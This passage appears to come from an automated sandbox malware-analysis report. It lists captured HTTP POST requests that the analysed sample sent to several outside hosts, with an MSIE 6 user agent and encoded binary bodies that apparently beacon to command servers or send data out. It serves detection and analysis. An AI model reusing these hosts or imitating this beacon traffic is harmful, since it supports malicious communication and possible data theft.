58 4d 47 53 67 55 36 6c 56 64 6a 73 77 42 71 53 54 42 6e 6e 6d 59 4e 33 67 6e 67 36 69 45 70 4d 4e 31 55 62 32 6d 61 59 50 38 51 31 52 76 6a 30 6e 65 63 59 6c 6c 42 5a 62 5a 70 49 71 75 68 45 7a 6f 62 74 4b 57 4d 38 62 39 62 79 30 6d 4e 45 63 52 73 47 65 74 54 71 6a 55 64 41 70 37 49 4f 6d 30 46 78 45 47 54 50 68 4b 57 66 6f 5a 52 44 35 4e 69 6c 74 4d 77 2f 2b 4a 61 53 73 36 36 6d 73 33 77 67 4b 4a 36 5a 35 58 59 31 59 66 6b 42 42 67 30 61 34 49 59 66 44 39 78 73 32 6d 45 67 59 78 45 49 4d 51 70 43 31 6d 54 45 55 43 55 51 54 32 6c 46 4b 72 5a 33 5a 33 74 67 73 5a 43 49 4f 2f 41 47 7a 65 66 39 4a 70 79 66 67 77 6d 36 30 41 57 41 49 78 69 4f 4d 54 35 73 43 5a 77 31 30 48 36 38 68 6f 6e 50 69 54 64 52 64 67 41 74 67 69 4a 30 78 66 50 73 77 44 58 44 54 6d 57 67 50 46 78 4b 57 69 50 72 52 67 65 33 74 76 75 65 71 4e 2b 78 78 44 64 53 56 6f 57 37 65 41 6b 77 4f 6c 48 55 6d 68 32 78 61 4f 67 52 48 78 30 78 4b 79 34 53 57 43 77 4b 71 4a 65 52 4e 6a 5a 6d 6b 74 4e 51 6e 6a 72 70 59 72 37 34 55 52 46 58 66 41 47 46 66 44 45 4e 63 6d 4f 75 42 51 74 75 79 78 6e 6c 47 5a 61 33 71 31 73 67 55 6d 35 77 58 50 78 59 7a 77 75 63 4a 4e 4b 6f 4b 4b 77 68 6d 54 37 7a 62 51 67 45 6a 30 4e 5a 59 4e 45 55 4f 44 32 36 73 30 58 72 2b 65 63 71 55 67 2b 4e 79 39 55 35 57 6f 78 64 56 72 50 79 74 68 2f 33 56 47 76 35 34 67 3d 3d Data Ascii: eynHYj/Yc1WOB4vzHgih2ciMSEmVIaPP4wN+BlNCY2+CJP1s4t848BvfLrahqpNdiaJoyqeyKl4cyn73FzL3w/SFy3z857v/KGy2x1GynBhEkfdP7MZWohgg3Ufg9ZWKqaMo2yhYRUwzBPLQXMGSgU6lVdjswBqSTBnnmYN3gng6iEpMN1Ub2maYP8Q1Rvj0necYllBZbZpIquhEzobtKWM8b9by0mNEcRsGetTqjUdAp7IOm0FxEGTPhKWfoZRD5NiltMw/+JaSs66ms3wgKJ6Z5XY1YfkBBg0a4IYfD9xs2mEgYxEIMQpC1mTEUCUQT2lFKrZ3Z3tgsZCIO/AGzef9Jpyfgwm60AWAIxiOMT5sCZw10H68honPiTdRdgAtgiJ0xfPswDXDTmWgPFxKWiPrRge3tvueqN+xxDdSVoW7eAkwOlHUmh2xaOgRHx0xKy4SWCwKqJeRNjZmktNQnjrpYr74URFXfAGFfDENcmOuBQtuyxnlGZa3q1sgUm5wXPxYzwucJNKoKKwhmT7zbQgEj0NZYNEUOD26s0Xr+ecqUg+Ny9U5WoxdVrPyth/3VGv54g==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.valdal.comCache-Control: no-cacheData Raw: 33 47 56 77 4f 50 67 6e 61 6c 55 43 4c 4f 76 37 65 38 72 33 78 65 75 70 41 64 64 41 67 74 32 62 72 42 70 69 63 6c 6c 6f 39 64 61 76 42 51 66 7a 34 47 70 70 69 73 38 50 4c 77 73 42 2f 4d 35 66 58 4b 34 72 57 66 65 74 4b 76 42 6f 4f 32 2f 7a 4d 6e 4d 44 64 71 47 48 72 71 58 64 61 4c 39 44 6e 35 63 34 4d 42 44 6e 76 42 38 42 63 52 34 2f 6f 7a 47 70 6b 6d 55 68 6a 2b 52 41 33 66 44 45 74 6f 49 55 63 50 68 5a 30 46 64 6c 46 53 45 52 58 63 6c 48 49 64 77 6b 32 5a 63 70 79 6f 75 4c 66 46 73 58 6d 4d 46 32 53 72 47 6c 39 6f 32 5a 49 77 6c 45 6d 70 31 38 4d 56 51 53 30 74 6d 46 6d 36 61 6c 74 64 54 6f 6b 52 66 31 55 42 43 51 68 63 4b 37 76 74 71 72 4d 50 33 38 48 2f 6e 53 4a 79 72 47 39 50 58 7a 44 76 78 4c 79 31 44 57 71 6e 75 64 6e 57 33 6d 48 53 33 4f 77 59 39 66 74 37 37 34 78 63 69 6d 59 61 48 57 6a 45 33 5a 62 49 36 43 51 61 61 4d 38 36 53 6a 33 6a 79 4c 70 66 74 65 33 33 69 49 6a 57 73 33 49 37 31 6a 36 72 68 4e 44 71 35 7a 57 55 56 49 58 61 62 6f 64 62 4f 49 2f 51 75 73 55 71 68 4b 65 39 31 7a 6f 30 49 61 2b 7a 79 67 30 43 53 36 58 61 7a 68 58 63 39 52 50 6e 4f 41 66 71 6b 46 6d 6f 52 4a 2f 44 72 4c 6b 75 6f 5a 4e 67 48 48 41 41 4e 42 77 74 4e 30 63 6a 4e 76 52 34 32 36 74 62 75 30 72 6b 61 36 68 4e 6e 64 46 39 6c 56 4e 48 4d 32 2b 45 72 31 58 7a 4e 4f 70 63 72 6b 76 6a 72 43 63 43 6f 78 62 78 39 4c 44 41 77 6e 66 55 6c 4e 47 4b 65 44 38 64 61 32 77 59 59 33 6a 36 52 74 30 79 44 76 6a 58 6c 59 32 45 57 57 37 61 66 33 43 67 42 6f 46 75 50 30 4c 6a 2b 74 76 31 76 33 31 79 56 4e 58 30 63 31 31 39 66 5a 32 38 68 37 7a 52 37 7a 41 50 70 62 32 4a 49 6e 67 62 48 4f 52 6e 52 79 45 77 6a 4b 75 7a 4e 54 69 67 73 47 6d 64 62 79 48 71 72 43 35 4d 73 34 53 6c 77 7a 45 32 63 67 35 32 53 73 70 73 34 3d Data Ascii: 3GVwOPgnalUCLOv7e8r3xeupAddAgt2brBpicllo9davBQfz4Gppis8PLwsB/M5fXK4rWfetKvBoO2/zMnMDdqGHrqXdaL9Dn5c4MBDnvB8BcR4/ozGpkmUhj+RA3fDEtoIUcPhZ0FdlFSERXclHIdwk2ZcpyouLfFsXmMF2SrGl9o2ZIwlEmp18MVQS0tmFm6altdTokRf1UBCQhcK7vtqrMP38H/nSJyrG9PXzDvxLy1DWqnudnW3mHS3OwY9ft774xcimYaHWjE3ZbI6CQaaM86Sj3jyLpfte33iIjWs3I71j6rhNDq5zWUVIXabodbOI/QusUqhKe91zo0Ia+zyg0CS6XazhXc9RPnOAfqkFmoRJ/DrLkuoZNgHHAANBwtN0cjNvR426tbu0rka6hNndF9lVNHM2+Er1XzNOpcrkvjrCcCoxbx9LDAwnfUlNGKeD8da2wYY3j6Rt0yDvjXlY2EWW7af3CgBoFuP0Lj+tv1v31yVNX0c119fZ28h7zR7zAPpb2JIngbHORnRyEwjKuzNTigsGmdbyHqrC5Ms4SlwzE2cg52Ssps4=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.depalo.comCache-Control: no-cacheData Raw: 37 49 74 37 74 33 4b 59 64 6c 56 4d 49 73 58 67 70 52 31 55 74 33 58 47 55 2b 68 43 54 55 71 59 78 69 32 57 4a 76 57 6d 6e 6f 4e 6e 62 77 4a 6c 6a 55 74 52 4e 70 66 52 59 71 72 4d 61 51 47 77 49 48 55 51 2f 6c 33 48 59 4d 4c 75 57 2b 72 44 74 36 7a 50 43 63 64 71 41 75 71 4a 64 52 39 33 2f 79 4e 46 4c 57 44 4f 71 52 43 33 4b 78 52 2b 6b 4c 4d 6c 4e 67 63 47 49 31 61 68 68 48 76 53 75 38 78 50 50 48 64 50 4d 76 50 64 69 5a 57 59 56 63 51 6f 66 35 70 33 36 4f 65 4f 6f 4d 33 55 41 43 6f 62 6d 42 35 64 6a 62 38 54 41 37 35 77 64 33 6b 74 38 4a 37 50 66 54 7a 71 6e 61 38 45 79 37 4a 76 75 5a 32 65 35 30 2b 43 46 6d 4b 49 63 4c 72 35 34 6e 5a 45 4e 45 64 4a 7a 2b 4f 6a 37 77 6d 41 35 79 75 61 38 34 50 6e 7a 41 45 44 2f 52 6c 41 4f 6f 41 32 79 66 39 4c 5a 34 58 48 42 44 37 41 76 70 31 34 66 70 71 4c 7a 64 5a 37 47 31 52 56 67 66 49 55 6a 6e 41 57 50 69 71 47 31 57 4e 4e 6b 75 33 55 58 70 2f 41 59 75 55 62 56 66 37 54 62 4d 63 35 45 37 48 6d 45 45 4a 2f 4f 55 41 71 68 73 42 6d 4f 61 49 2f 4a 6e 30 39 6f 32 76 6c 37 68 61 7a 51 55 67 31 64 43 6d 74 58 6a 63 2f 62 79 54 75 61 68 71 76 73 39 6e 58 36 54 66 37 42 34 69 73 46 38 37 31 77 49 35 4a 7a 6c 76 62 2b 37 4d 32 71 4f 61 46 6a 6a 31 41 41 47 70 51 68 65 7a 53 31 76 38 48 42 36 62 31 42 6e 62 4e 79 4a 54 73 77 57 58 51 55 63 4e 54 62 50 6b 4e 53 34 49 75 63 6e 77 56 62 4b 44 32 4b 35 44 31 56 70 73 6c 64 2b 50 66 47 4a 76 71 77 34 31 39 6a 33 44 50 4a 6f 68 6f 2f 65 39 4b 30 36 32 39 49 31 6a 68 56 65 56 69 49 33 51 62 71 45 56 57 67 4f 59 71 67 4c 38 6c 44 6f 4f 50 57 34 67 2f 55 67 56 49 2f 41 38 39 48 46 56 33 56 56 53 76 4a 71 75 4b 37 6b 65 7a 68 4e 34 53 51 30 6c 71 6d 37 52 4d 61 53 6e 56 4a 72 59 63 57 4d 52 33 59 58 71 62 34 58 58 69 64 6e 70 65 66 6c 64 49 2f 6b 42 56 79 75 4b 66 Data Ascii: 7It7t3KYdlVMIsXgpR1Ut3XGU+hCTUqYxi2WJvWmnoNnbwJljUtRNpfRYqrMaQGwIHUQ/l3HYMLuW+rDt6zPCcdqAuqJdR93/yNFLWDOqRC3KxR+kLMlNgcGI1ahhHvSu8xPPHdPMvPdiZWYVcQof5p36OeOoM3UACobmB5djb8TA75wd3kt8J7PfTzqna8Ey7JvuZ2e50+CFmKIcLr54nZENEdJz+Oj7wmA5yua84PnzAED/RlAOoA2yf9LZ4XHBD7Avp14fpqLzdZ7G1RVgfIUjnAWPiqG1WNNku3UXp/AYuUbVf7TbMc5E7HmEEJ/OUAqhsBmOaI/Jn09o2vl7hazQUg1dCmtXjc/byTuahqvs9nX6Tf7B4isF871wI5Jzlvb+7M2qOaFjj1AAGpQhezS1v8HB6b1BnbNyJTswWXQUcNTbPkNS4IucnwVbKD2K5D1Vpsld+PfGJvqw419j3DPJoho/e9K0629I1jhVeViI3QbqEVWgOYqgL8lDoOPW4g/UgVI/A89HFV3VVSvJquK7kezhN4SQ0lqm7RMaSnVJrYcWMR3YXqb4XXidnpefldI/kBVyuKf
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 70 38 56 31 44 6a 61 47 77 6c 52 69 71 53 6b 4f 6b 55 67 50 4a 39 6b 6f 78 6c 6c 57 57 4b 6e 76 79 72 58 49 69 54 74 54 6d 6e 46 33 48 71 76 56 56 48 65 4b 6d 39 70 6e 54 43 38 54 39 49 66 53 66 6d 72 77 72 73 61 6c 6d 59 4b 4b 58 70 2f 74 2b 47 45 4f 4d 75 4a 6b 6c 49 76 79 61 48 48 6f 49 46 31 64 6c 5a 53 54 76 35 31 76 2b 51 31 38 49 4b 52 79 4f 38 6d 58 6c 71 52 7a 51 7a 62 69 48 6a 51 36 44 70 68 57 37 79 4e 34 4d 35 4c 79 57 52 43 36 39 61 6f 66 54 4c 48 4a 2f 38 38 33 66 64 4e 37 34 79 6b 7a 35 44 71 4e 43 2b 6e 6b 39 4e 59 32 63 6a 70 43 4d 64 65 35 6f 72 2b 48 51 31 64 77 61 38 65 71 55 48 4c 32 4e 2f 2f 32 37 6b 4e 6f 64 79 67 34 48 67 35 36 44 45 6b 4b 70 49 6f 57 63 4b 45 77 71 6b 55 6a 4a 78 7a 42 36 36 50 57 73 70 75 6e 64 32 4b 77 30 77 49 78 4b 34 61 53 59 36 37 57 62 79 50 6f 53 6c 44 75 6c 49 49 6d 70 34 39 4b 4d 58 4e 63 6d 4d 59 53 6c 4e 56 46 4b 78 6b 63 59 78 73 34 4b 37 6a 68 65 56 6e 63 44 51 64 6d 50 34 65 50 75 43 41 74 71 2b 56 58 57 2f 2b 4f 4f 33 64 4f 42 41 41 39 58 48 71 30 5a 35 68 4e 70 6f 56 69 63 62 65 4c 48 44 65 4d 66 38 4b 79 55 6f 4a 6e 62 6c 4b 6f 75 71 58 72 75 4f 4d 37 31 36 35 7a 4e 43 49 63 52 78 69 44 67 36 6e 33 6c 4d 45 70 52 38 68 62 69 55 2b 45 42 49 6c 4d 69 42 57 4d 76 55 36 55 6d 61 4c 46 74 30 50 6f 53 66 4f 4d 4a 38 6b 6d 43 4b 54 41 62 41 56 32 4e 48 53 65 4f 58 36 59 78 69 62 61 42 43 64 2b 75 50 6b 66 33 6f 2b 53 53 70 35 64 5a 55 7a 52 54 6e 38 56 35 51 38 62 62 35 39 73 49 32 77 68 2b 65 35 2f 44 37 64 44 57 37 4d 51 55 45 78 35 7a 74 48 48 6e 58 31 37 33 39 4e 71 4e 47 31 74 57 72 54 45 72 4b 5a 34 77 44 59 68 49 46 32 4e 54 51 3d 3d Data Ascii: p8V1DjaGwlRiqSkOkUgPJ9koxllWWKnvyrXIiTtTmnF3HqvVVHeKm9pnTC8T9IfSfmrwrsalmYKKXp/t+GEOMuJklIvyaHHoIF1dlZSTv51v+Q18IKRyO8mXlqRzQzbiHjQ6DphW7yN4M5LyWRC69aofTLHJ/883fdN74ykz5DqNC+nk9NY2cjpCMde5or+HQ1dwa8eqUHL2N//27kNodyg4Hg56DEkKpIoWcKEwqkUjJxzB66PWspund2Kw0wIxK4aSY67WbyPoSlDulIImp49KMXNcmMYSlNVFKxkcYxs4K7jheVncDQdmP4ePuCAtq+VXW/+OO3dOBAA9XHq0Z5hNpoVicbeLHDeMf8KyUoJnblKouqXruOM7165zNCIcRxiDg6n3lMEpR8hbiU+EBIlMiBWMvU6UmaLFt0PoSfOMJ8kmCKTAbAV2NHSeOX6YxibaBCd+uPkf3o+SSp5dZUzRTn8V5Q8bb59sI2wh+e5/D7dDW7MQUEx5ztHHnX1739NqNG1tWrTErKZ4wDYhIF2NTQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.tvtools.fiCache-Control: no-cacheData Raw: 58 71 5a 43 37 54 35 49 6b 56 57 51 75 57 76 67 43 56 4b 6d 68 53 45 67 76 31 6e 2b 42 74 78 48 55 70 54 42 6a 62 76 68 6e 77 76 49 43 56 76 54 44 45 50 53 5a 71 5a 36 6e 77 44 69 46 72 2b 4f 45 74 6c 37 47 6f 37 4b 7a 74 36 54 33 51 31 48 37 6c 4e 66 53 71 74 34 39 64 34 36 62 4c 77 4c 66 45 7a 61 70 71 41 52 6c 65 77 43 6e 31 64 4c 31 48 48 4e 42 69 6b 64 39 64 6c 32 46 4d 6a 56 59 44 66 78 46 71 35 63 76 7a 39 54 79 52 46 54 71 72 36 6c 35 2b 2f 56 61 78 36 75 68 73 30 6a 69 48 6b 59 47 75 68 38 58 55 62 2f 32 38 35 77 62 67 73 4e 64 4a 5a 6f 54 76 4f 2f 72 36 68 32 4d 58 79 31 5a 63 66 53 77 73 70 2f 36 72 35 4d 4e 7a 64 6e 54 39 2f 6e 39 49 52 39 33 66 4f 78 73 50 58 56 64 75 77 36 43 6f 4f 6d 31 48 44 58 43 35 67 44 7a 72 44 48 57 36 6a 6b 45 56 69 47 65 37 53 4a 6e 73 63 51 33 35 37 36 31 36 71 69 7a 54 73 69 32 51 42 33 73 6a 64 6f 71 51 71 62 69 50 4e 52 4b 2b 61 30 71 48 53 4e 4d 58 49 6b 57 55 6d 2f 65 79 73 67 37 52 75 57 58 61 78 53 32 47 45 2b 62 43 6f 75 68 47 44 36 47 31 37 4b 56 6e 69 38 4f 51 47 43 49 51 30 78 54 74 6e 51 76 38 65 74 2b 2f 32 4f 49 54 44 4e 6a 66 65 2b 6e 46 38 45 31 5a 35 44 71 79 65 66 62 32 51 34 42 64 75 68 61 63 41 51 4a 4f 7a 75 4d 45 59 65 74 51 51 6d 4a 37 41 45 2b 38 71 63 37 44 74 68 64 70 77 41 47 77 30 67 6a 4d 45 6a 38 53 52 31 52 77 66 75 4e 75 38 44 77 78 36 4e 6c 64 54 6b 66 44 50 6d 44 2b 67 77 54 4e 37 42 69 6f 64 50 77 50 62 4c 4c 4f 34 74 4c 55 56 33 58 32 33 51 70 46 78 7a 46 41 55 30 50 6a 34 38 69 51 70 61 66 32 52 2f 78 65 48 32 2b 4f 52 4e 4b 6d 6f 76 55 61 5a 34 4e 30 61 6b 6c 4c 5a 47 5a 50 4b 44 4e 75 4f 58 75 33 6e 30 49 49 68 63 59 38 2f 43 55 32 4f 31 4c 69 33 32 4d 71 31 41 59 53 43 73 Data Ascii: XqZC7T5IkVWQuWvgCVKmhSEgv1n+BtxHUpTBjbvhnwvICVvTDEPSZqZ6nwDiFr+OEtl7Go7Kzt6T3Q1H7lNfSqt49d46bLwLfEzapqARlewCn1dL1HHNBikd9dl2FMjVYDfxFq5cvz9TyRFTqr6l5+/Vax6uhs0jiHkYGuh8XUb/285wbgsNdJZoTvO/r6h2MXy1ZcfSwsp/6r5MNzdnT9/n9IR93fOxsPXVduw6CoOm1HDXC5gDzrDHW6jkEViGe7SJnscQ357616qizTsi2QB3sjdoqQqbiPNRK+a0qHSNMXIkWUm/eysg7RuWXaxS2GE+bCouhGD6G17KVni8OQGCIQ0xTtnQv8et+/2OITDNjfe+nF8E1Z5Dqyefb2Q4BduhacAQJOzuMEYetQQmJ7AE+8qc7DthdpwAGw0gjMEj8SR1RwfuNu8Dwx6NldTkfDPmD+gwTN7BiodPwPbLLO4tLUV3X23QpFxzFAU0Pj48iQpaf2R/xeH2+ORNKmovUaZ4N0aklLZGZPKDNuOXu3n0IIhcY8/CU2O1Li32Mq1AYSCs
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jenco.co.ukCache-Control: no-cacheData Raw: 65 54 42 41 56 50 4b 5a 6b 41 6f 6d 30 63 4a 77 4a 54 43 2f 61 2f 58 44 43 4b 50 43 62 50 7a 78 52 6b 63 72 5a 36 62 72 78 65 70 5a 32 30 66 68 79 69 63 31 4d 31 68 69 45 65 33 57 72 51 64 55 35 51 30 48 4d 30 6c 65 72 6e 32 32 31 39 65 52 47 4a 79 6f 6e 34 77 58 44 5a 4e 4e 30 41 57 57 50 53 34 65 37 6d 6f 54 39 70 37 56 31 62 4a 50 71 56 4c 34 6d 6c 68 55 43 67 53 30 42 6d 72 65 57 30 74 66 57 73 71 53 74 37 6b 4c 65 37 66 77 54 38 63 71 76 50 69 77 32 57 77 39 56 31 75 78 64 56 73 34 4b 62 42 50 4e 69 6e 53 71 79 31 66 4c 65 5a 78 76 66 67 41 68 30 4d 61 38 62 47 77 66 73 6c 64 71 61 30 48 6a 41 31 48 7a 58 64 68 6c 2b 72 48 46 4f 6f 6d 39 69 33 45 31 65 78 72 6b 69 78 46 54 77 43 44 74 43 62 50 72 31 7a 46 4c 43 4c 55 4b 67 46 52 4a 37 48 45 6b 54 2f 36 74 44 32 58 59 6d 4d 68 32 2f 58 69 34 75 6e 70 58 47 72 68 44 49 6d 66 30 33 49 79 65 6c 6b 53 70 31 32 64 6c 6b 30 67 70 58 6b 6f 62 4c 56 48 41 38 78 69 71 38 30 56 41 42 31 30 56 34 33 34 69 66 4c 71 55 4a 79 4a 75 66 43 62 53 50 50 49 41 35 77 52 44 4f 58 55 66 57 33 64 6c 41 67 44 37 4e 75 49 6c 39 35 50 47 56 46 73 63 6f 6e 6c 36 71 32 6b 68 48 75 6e 62 6a 79 64 32 4b 39 36 6a 42 47 4b 50 4e 76 4f 37 34 73 30 76 30 36 75 55 67 58 2f 39 58 74 49 35 53 56 34 57 41 69 32 76 37 6a 4e 43 77 74 72 42 73 47 56 77 74 2f 59 35 2f 6e 59 45 6d 6e 36 43 7a 44 32 6d 53 43 70 7a 35 4f 57 43 54 42 6d 38 55 41 5a 57 77 72 6f 74 6e 76 75 69 6c 58 65 35 72 2f 57 4e 77 74 76 33 79 69 48 56 4a 69 2f 61 7a 68 74 71 78 36 36 4b 64 64 71 2b 61 2b 64 48 4d 75 36 54 44 2b 4d 57 4a 61 36 45 58 69 33 36 51 76 75 75 4c 67 64 78 36 64 34 63 35 45 78 53 46 4a 78 67 64 33 4c 47 6b 46 58 6f 42 49 61 4a 77 3d 3d Data Ascii: eTBAVPKZkAom0cJwJTC/a/XDCKPCbPzxRkcrZ6brxepZ20fhyic1M1hiEe3WrQdU5Q0HM0lern2219eRGJyon4wXDZNN0AWWPS4e7moT9p7V1bJPqVL4mlhUCgS0BmreW0tfWsqSt7kLe7fwT8cqvPiw2Ww9V1uxdVs4KbBPNinSqy1fLeZxvfgAh0Ma8bGwfsldqa0HjA1HzXdhl+rHFOom9i3E1exrkixFTwCDtCbPr1zFLCLUKgFRJ7HEkT/6tD2XYmMh2/Xi4unpXGrhDImf03IyelkSp12dlk0gpXkobLVHA8xiq80VAB10V434ifLqUJyJufCbSPPIA5wRDOXUfW3dlAgD7NuIl95PGVFsconl6q2khHunbjyd2K96jBGKPNvO74s0v06uUgX/9XtI5SV4WAi2v7jNCwtrBsGVwt/Y5/nYEmn6CzD2mSCpz5OWCTBm8UAZWwrotnvuilXe5r/WNwtv3yiHVJi/azhtqx66Kddq+a+dHMu6TD+MWJa6EXi36QvuuLgdx6d4c5ExSFJxgd3LGkFXoBIaJw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.dgmna.comCache-Control: no-cacheData Raw: 2f 65 55 45 41 66 37 6c 6a 51 70 64 6c 4d 73 76 79 64 55 55 78 65 46 48 4e 46 2b 2b 31 38 32 34 45 6d 37 75 55 67 50 42 79 57 44 30 30 41 51 6f 54 55 67 59 4c 73 44 4a 63 64 45 31 69 65 71 37 72 47 76 4d 2b 53 63 55 59 6e 43 6d 76 56 38 78 58 79 63 79 69 50 69 41 44 78 73 46 6a 51 53 6c 64 55 78 55 73 58 52 74 58 41 68 61 68 2f 38 66 42 44 35 75 48 68 62 4f 54 46 46 46 6b 69 48 6b 50 30 4c 50 4a 39 68 51 76 68 44 58 64 66 67 55 71 4c 58 4a 49 4e 6e 6b 6e 70 52 32 73 67 72 32 63 75 50 4f 77 6c 4e 66 6c 30 38 32 73 42 6f 59 70 49 6b 79 6d 61 69 57 63 63 36 70 63 41 38 53 57 75 56 79 4d 4e 4f 63 6c 73 74 53 77 73 47 75 51 48 4d 70 35 75 6c 42 49 78 4c 79 58 36 59 2f 31 30 67 2b 46 59 32 43 4f 54 42 4c 51 6b 53 36 46 51 49 64 54 77 54 2f 31 47 55 6e 77 72 61 2b 54 36 32 42 4b 36 58 61 6e 4a 47 78 65 63 4e 5a 78 71 67 68 34 51 45 50 76 48 74 73 6f 47 41 4b 32 55 72 63 62 36 5a 34 5a 36 37 74 47 41 54 55 56 2b 37 79 64 4e 66 6d 75 51 54 46 38 55 61 6f 64 37 66 41 61 75 6a 41 62 71 64 72 79 72 45 31 6b 30 32 30 6c 61 36 76 6e 63 62 4e 4a 44 6b 6f 4f 33 32 6a 30 6d 79 45 47 4c 73 52 52 56 4d 62 2f 30 31 4c 50 47 52 32 52 59 59 76 68 6d 66 70 77 72 6c 77 4c 2b 6a 6c 62 4f 62 32 37 4a 49 55 71 33 63 67 55 4c 42 30 79 4e 30 51 78 4d 49 37 44 46 45 49 50 74 66 46 43 79 4f 79 55 6d 6c 77 30 47 52 33 56 32 50 58 39 44 4a 65 79 76 66 6a 37 57 32 37 6d 53 76 6f 34 6c 56 6d 39 76 54 49 4f 62 59 69 73 34 49 5a 43 6f 55 4e 38 6e 69 4d 4e 6a 39 6c 7a 58 65 75 58 48 79 41 71 53 46 4c 79 72 2b 73 43 77 79 58 48 78 33 52 75 61 50 31 39 57 41 78 75 54 68 34 76 52 4c 68 4f 33 5a 56 4b 67 49 51 61 42 6d 79 4a 6e 4f 56 71 75 44 33 63 31 62 48 73 2f 52 62 6d 30 45 74 Data Ascii: /eUEAf7ljQpdlMsvydUUxeFHNF++1824Em7uUgPByWD00AQoTUgYLsDJcdE1ieq7rGvM+ScUYnCmvV8xXycyiPiADxsFjQSldUxUsXRtXAhah/8fBD5uHhbOTFFFkiHkP0LPJ9hQvhDXdfgUqLXJINnknpR2sgr2cuPOwlNfl082sBoYpIkymaiWcc6pcA8SWuVyMNOclstSwsGuQHMp5ulBIxLyX6Y/10g+FY2COTBLQkS6FQIdTwT/1GUnwra+T62BK6XanJGxecNZxqgh4QEPvHtsoGAK2Urcb6Z4Z67tGATUV+7ydNfmuQTF8Uaod7fAaujAbqdryrE1k020la6vncbNJDkoO32j0myEGLsRRVMb/01LPGR2RYYvhmfpwrlwL+jlbOb27JIUq3cgULB0yN0QxMI7DFEIPtfFCyOyUmlw0GR3V2PX9DJeyvfj7W27mSvo4lVm9vTIObYis4IZCoUN8niMNj9lzXeuXHyAqSFLyr+sCwyXHx3RuaP19WAxuTh4vRLhO3ZVKgIQaBmyJnOVquD3c1bHs/Rbm0Et
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 57 6d 5a 6c 45 6e 4e 32 6a 67 71 35 6f 58 72 45 75 73 6b 58 47 68 79 74 46 62 44 5a 44 53 50 72 56 34 76 6e 4f 57 35 39 48 39 4a 2b 72 61 48 51 34 66 31 43 6b 2f 59 33 37 48 64 59 7a 35 64 6a 2b 4b 59 4e 67 59 34 79 53 53 6c 71 43 47 6d 4c 72 4c 64 65 72 48 6a 6e 77 76 55 55 68 58 75 30 4d 43 48 66 6a 72 6f 73 45 6a 4c 76 61 42 35 69 37 74 58 6b 6a 58 5a 54 63 7a 68 78 59 69 69 44 78 44 61 43 6b 51 52 47 30 47 71 6d 32 76 78 67 41 7a 78 30 5a 4e 59 50 51 32 63 72 35 62 49 74 72 70 2b 58 41 75 76 41 73 73 77 78 42 46 71 61 6f 77 6c 41 62 4a 38 69 32 65 48 74 36 2b 39 6f 58 38 72 45 56 36 4b 39 78 67 67 66 5a 4a 35 4a 75 42 4a 35 6a 6a 41 4d 4e 61 36 6d 43 42 6c 56 59 2b 59 55 33 78 47 72 56 76 64 5a 37 2f 55 2f 31 71 75 41 78 49 38 48 2b 6d 2f 42 56 4c 57 34 4a 56 39 7a 4d 69 76 42 76 42 46 58 30 2f 32 30 68 66 4d 46 53 69 77 57 46 72 48 58 71 30 6a 4e 6c 35 36 79 69 76 39 66 5a 57 6e 52 4a 71 73 31 45 45 45 52 45 43 71 67 75 6f 61 37 70 74 7a 56 54 67 78 53 50 54 47 47 74 72 73 63 64 65 2b 37 73 42 66 74 47 73 33 43 37 55 2b 7a 4a 56 57 76 6d 6b 56 33 41 75 76 2b 73 31 51 4a 36 54 39 6e 4e 72 74 44 78 57 76 67 6c 2b 63 32 34 4f 6a 49 6d 37 34 4e 48 33 48 76 5a 39 72 6b 6a 79 59 58 7a 4e 39 59 46 36 56 65 66 4e 6f 30 36 76 37 58 57 78 51 52 34 61 41 62 54 53 43 38 6c 79 44 79 4d 38 73 43 56 73 4b 76 55 73 45 5a 64 54 36 49 52 76 75 4b 54 5a 63 46 47 76 67 64 45 77 50 75 30 33 2f 4f 61 41 45 74 66 4a 64 7a 52 46 49 77 4e 4e 36 46 34 71 71 55 45 67 2b 6c 31 5a 6b 4b 30 58 6b 70 6f 52 6b 65 39 51 36 6c 58 4c 6b 76 65 35 37 75 41 31 4e 71 5a 53 4e 72 6e 4a 4f 4a 44 69 58 51 30 6e 36 46 67 78 66 65 73 62 6b 77 5a 48 36 4e 50 68 55 78 51 70 66 34 37 71 66 30 33 49 37 64 76 41 3d 3d Data Ascii: 